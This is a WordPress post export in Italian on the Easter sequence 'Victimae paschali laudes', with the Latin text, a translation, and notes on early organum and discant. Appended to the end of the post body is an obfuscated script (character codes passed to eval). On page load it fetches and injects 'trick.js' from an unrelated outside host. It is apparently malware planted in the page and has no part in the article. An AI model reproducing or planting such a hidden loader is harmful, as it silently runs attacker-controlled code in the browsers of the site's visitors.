{"id":283,"date":"2013-09-19T16:33:09","date_gmt":"2013-09-19T16:33:09","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=283"},"modified":"2013-10-26T10:23:20","modified_gmt":"2013-10-26T10:23:20","slug":"victimae-paschali-laudes-dalla-sequenza-gregoriana-al-discanto","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=283","title":{"rendered":"Victimae paschali laudes: dalla Sequenza gregoriana al Discanto"},"content":{"rendered":"<p style=\"text-align: justify;\">Le origini della Sequenza sono molto controverse. Tradizionalmente si assegna un ruolo fondamentale ad un monaco benedettino dell\u2019Abbazia di San Gallo \u2013 Notker Balbulus (ca.840-912) \u2013 che ne avrebbe elaborato la struttura basandosi su esperienze maturate precedentemente dai monaci dell\u2019abbazia francese di Jumi\u00e8ges. In pratica, applicando un testo letterario al lungo vocalizzo sull\u2019ultima sillaba degli Alleluia si creavano canti nuovi, sillabici (peraltro pi\u00f9 facili da memorizzarsi rispetto ai giubili alleluiatici originari), ma con melodia particolarmente interessante, proprio perch\u00e9 derivata da melismi, ossia da elementi che avevano ragione di esistere unicamente in funzione del loro valore musicale.<\/p>\n<p style=\"text-align: justify;\">L\u2019autore del testo di <i>Victimae paschali laudes <\/i>\u2013 Sequenza per la Messa di Pasqua, una delle quattro rimaste nella liturgia dopo il Concilio di Trento (la quinta, lo <i>Stabat Mater<\/i>, verr\u00e0 poi introdotta nella liturgia da Benedetto XIII nel 1727) \u2013 sarebbe il monaco Wipo (o Vipone) vissuto fra il 1000 e il 1046, cappellano presso gli imperatori Corrado II ed Enrico II.<\/p>\n<p style=\"text-align: justify;\" align=\"right\">Il testo nelle strofe 4, 5, 6, 7 possiede nel dialogo fra la Madonna e Maria Maddalena anche una dimensione evocativa che ha dato spunto per la creazione di alcuni Drammi liturgici. Di seguito si riporta il testo con la traduzione a fronte; le lettere dell\u2019alfabeto sono riferite alla melodia.<\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">I<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">A<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Victimae paschali laudes immolent Christiani.<\/i><\/td>\n<td valign=\"top\" width=\"335\">Alla vittima pasquale innalzino lodi i Cristiani.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">II<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">B<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Agnus redemit oves: Christus innocens Patri reconciliavit peccatores.<\/i><\/td>\n<td valign=\"top\" width=\"335\">L\u2019Agnello ha redento le pecore: Cristo innocente ha riconciliato al Padre i peccatori.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">III<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">B<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Mors et vita duello conflixere mirando: dux vitae mortuus, regnat vivus.<\/i><\/td>\n<td valign=\"top\" width=\"335\">La morte e la vita hanno combattuto in un mirabile duello: il signore della vita \u00e8 morto, [ma] regna da vivo.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">IV<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">C<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\">Dic nobis Maria, quid vidisti in via?<\/td>\n<td valign=\"top\" width=\"335\">Dicci Maria, che cosa hai visto sulla via?<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">V<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">D<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Seplulcrum Christi viventis, et gloriam vidi resurgentis:<\/i><\/td>\n<td valign=\"top\" width=\"335\">Il sepolcro del Cristo vivente, e la gloria del risorto:<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">VI<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">C<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Angelicos teste, sudarium, et vestes.<\/i><\/td>\n<td valign=\"top\" width=\"335\">Gli Angeli testimoni, il sudario e le vesti.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">VII<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">D<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Surrexit Christus spes mea: praecedet suos in Galileam.<\/i><\/td>\n<td valign=\"top\" width=\"335\">Cristo mia speranza \u00e8 risorto: precede i suoi [discepoli] in Galilea.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"33\">\n<p align=\"center\">VIII<\/p>\n<\/td>\n<td valign=\"top\" width=\"19\">\n<p align=\"center\">E<\/p>\n<\/td>\n<td valign=\"top\" width=\"302\"><i>Scimus Christum surrexisse a mortuis vere: tu nobis, victor Rex, miserere. Amen. Alleluia.<\/i><\/td>\n<td valign=\"top\" width=\"335\">Sappiamo che Cristo \u00e8 veramente risorto dai morti: tu Re vittorioso, abbi piet\u00e0 [di noi]. Amen. Alleluia.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\" align=\"right\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01.png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-284 alignnone\" alt=\"04 VictimaePaschaliLaudes01\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01.png\" width=\"792\" height=\"306\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01.png 2200w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01-300x115.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01-1024x395.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes01-624x241.png 624w\" sizes=\"auto, (max-width: 792px) 100vw, 792px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\u00a0<a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04a-Victimae-Paschali-MONOD.mp3\">Victimae Paschali Laudes<\/a><\/p>\n<p style=\"text-align: justify;\">Varie sono le teorie che nel corso degli anni si sono sovrapposte e talvolta integrate per cercare una spiegazione al fenomeno della nascita della polifonia. Tralasciando la teoria naturalistica (detta anche \u201cteoria della fusione\u201d), basata sugli esperimenti di psicologia percettiva di Hermann Helmholtz (1863) che vorrebbe legato il fenomeno alla differente percezione dei suoni armonici, collegando quindi l\u2019evoluzione in senso estetico del fatto musicale ad un qualcosa di fisico, di concreto \u2013 teoria affascinante, ma che presenta lacune e incongruenze \u2013 fra le teorie pi\u00f9 plausibili bisogna considerare quella che parte dall\u2019osservazione che le principali categorie con le quali si \u00e8 soliti catalogare la voce umana (soprano, contralto, tenore e basso) hanno i rispettivi registri distanziati tra loro all\u2019incirca di una quinta. Secondo i sostenitori di questa tesi sarebbe stato naturale cantare lo stesso testo musicale (con l\u2019intento di abbellirlo, di ripensarlo in una forma nuova) per intervalli paralleli di quarta giusta o di quinta giusta. In effetti, se confrontiamo questo dato con la nascita delle prime forme polifoniche, troviamo pi\u00f9 che qualche rispondenza.<\/p>\n<p style=\"text-align: justify;\">La pi\u00f9 antica forma polifonica della quale ci rimangono testimonianze scritte, nella musica occidentale, \u00e8 l\u2019<i>Organum<\/i>, sviluppatosi fra il IX e il XIII sec. Il procedimento per la composizione di un <i>Organum<\/i> consiste, in sostanza, nel prendere una melodia gregoriana preesistente (detta per questo <i>Vox principalis<\/i>) e contrappuntarvi nota contro nota un\u2019uguale melodia, ma a distanza fissa (per questo si parla di parallelismo) di quarta o di quinta (in origine si prediligeva la soluzione che prevedeva l\u2019aggiunta di una melodia una quarta sotto alla <i>Vox principalis <\/i>); la voce aggiunta veniva detta <i>Vox organalis<\/i>.<\/p>\n<p style=\"text-align: justify;\">Una forma un po\u2019 pi\u00f9 evoluta di <i>Organum<\/i> \u00e8 il Discanto, che si differenzia da quello per una maggiore variet\u00e0 intervallare. La condotta delle parti \u2013 che procedono anche per moto contrario \u2013 \u00e8 comunque analoga.<\/p>\n<p style=\"text-align: justify;\">Qui sotto si riportano due frammenti di questa Sequenza in forma di Discanto, come si trova in un codice del monastero benedettino di Las Huelgas a Burgos, redatto agli inizi del Trecento.<\/p>\n<p><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-291 alignnone\" alt=\"04 VictimaePaschaliLaudes02\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02.png\" width=\"664\" height=\"235\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02.png 1384w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02-300x106.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02-1024x362.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes02-624x220.png 624w\" sizes=\"auto, (max-width: 664px) 100vw, 664px\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"right\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Victimae-Paschali-Laudes-Discanto1.mp3\">Victimae Paschali Laudes (Discanto)1<\/a><\/p>\n<p style=\"text-align: left;\" align=\"right\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes03.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"04 VictimaePaschaliLaudes03\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/04-VictimaePaschaliLaudes03.png\" width=\"744\" height=\"235\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"right\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Victimae-Paschali-Laudes-Discanto2.mp3\">Victimae Paschali Laudes (Discanto)2<\/a><\/p>\n<p align=\"right\">Carlo Deri, 2004<\/p>\n<p>\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n<address><i><i>Il testo della presente analisi \u2013 qui riportato con il gentile permesso dell\u2019Editore \u2013 \u00e8 stato pubblicato<\/i>\u00a0in<\/i><\/address>\n<address>Renzo Cresti: Ipertesto di Storia della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2004 <i>e in<\/i><\/address>\n<address>Renzo Cresti: La Vita della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2008<\/address>\n<address>\u00a0<\/address>\n<address><a href=\"http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42\">http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42<\/a><\/address>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le origini della Sequenza sono molto controverse. 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